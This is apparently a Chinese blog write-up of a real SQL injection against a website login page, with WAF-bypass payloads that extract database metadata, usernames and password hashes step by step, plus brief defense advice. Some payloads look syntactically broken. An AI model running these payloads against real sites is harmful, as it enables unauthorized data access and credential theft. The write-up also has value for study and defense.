记一次SQL注入实战
字数 1400 2025-08-19 12:40:50
SQL注入实战:绕过WAF的多种技术详解
1. 漏洞发现与初步探测
1.1 漏洞特征
- 目标站点登录页面存在SQL注入漏洞
- 插入单引号(
')会直接返回SQL报错语句,表明存在报错注入的可能性 - 验证码存在"一码多用"问题,降低了自动化攻击的难度
1.2 WAF过滤规则
后台对以下内容进行了过滤:
- 常用关键字:
group_concat、concat_ws、information_schema - 空格字符
- 其他SQL注入常用函数和语法
2. 绕过技术详解
2.1 注释替换空格
由于空格被过滤,可以使用注释符号/**/替代空格:
admin'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)--+
2.2 内联注释绕过关键字过滤
对于被过滤的关键字如select,可使用内联注释:
select -> /*!50000%50elect*/
注意:MySQL会忽略/*!50000*/中的内容(如果版本号小于5.0.0),但现代版本会执行其中的语句。
2.3 函数名与括号间的限制
当使用group_concat等函数时,函数名与括号之间不能有任何字符(包括空格):
group_concat() # 正确
group_concat () # 错误
2.4 LIMIT替代GROUP_CONCAT
当group_concat不可用时,可以使用limit分页获取数据:
/*!50000%53elect*//**/(table_schema)from/**/information_schema/**/limit/**/0,1
2.5 绕过information_schema过滤
多种方法绕过information_schema限制:
- 使用反引号:
`information_schema`.`schemata`
- 插入特殊注释:
information_schema/*!*/.schemata
- 使用换行符:
information_schema%0a.schemata
2.6 使用sys.schema替代information_schema
MySQL 5.7+提供了sys.schema,可替代information_schema获取元数据:
sys.schema_auto_increment_columns:自增ID监控表sys.schema_table_statistics_with_buffer:I/O延迟统计表mysql.innodb_table_stats:InnoDB表统计信息
注意:访问sys库通常需要超级管理员权限。
2.7 JOIN无列名查询技术
当无法直接获取列名时,可以使用JOIN自连接产生错误暴露列名:
select * from (select * from db.tables as a join db.tables as b as c)
使用using表达式避免错误:
select * from (select * from xx as a join xx as b using(xx)) as c
3. 完整注入流程
3.1 获取基础信息
admin'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)--+
admin'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)--+
admin'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)--+
3.2 获取表名
使用sys.schema_auto_increment_columns:
admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/table_name/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema/database()/**/limit/**/0,1),0x7e),1)
计算表数量:
admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/count(distinct(table_name))/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema/database()/**/limit/**/0,1),0x7e),1)
3.3 获取列名
使用JOIN技术:
admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*from/**/(/*!50000%53elect*from/**/db.tables/**/as/**/a/**/join/**/db.tables/**/as/**/b/as/**/c),0x7e),1)--+
3.4 获取数据
获取用户名:
admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/name/**/from/**/xxx/**/where/**/id=xxx),0x7e),1)--+
分段获取长密码(32位):
admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/xxx/**/where/**/id=xxx),0x7e),1)--+
4. 高级技巧与注意事项
- 权限利用:确认当前用户为root后,可尝试文件写入(需知道绝对路径)
- 数据完整性:从
sys.schema不同表中获取数据后需要去重 - 分段获取:对于长数据(如密码hash),使用
substr分段获取 - 自动化工具:可将请求发送至Burp Intruder模块进行自动化爆破
5. 防御建议
- 使用参数化查询或ORM框架
- 最小权限原则,避免使用root账户连接数据库
- 对用户输入进行严格过滤和转义
- 禁用详细的错误信息返回
- 定期更新WAF规则,防范新型绕过技术
6. 总结
本案例展示了在严格WAF环境下进行SQL注入的多种高级技术,关键在于:
- 准确识别被过滤的关键字和字符
- 灵活组合多种绕过技术
- 利用数据库自身的特性和替代方案
- 分步骤、耐心地获取所需信息
安全是一个持续的过程,攻防双方都在不断演进,理解攻击技术才能更好地进行防御。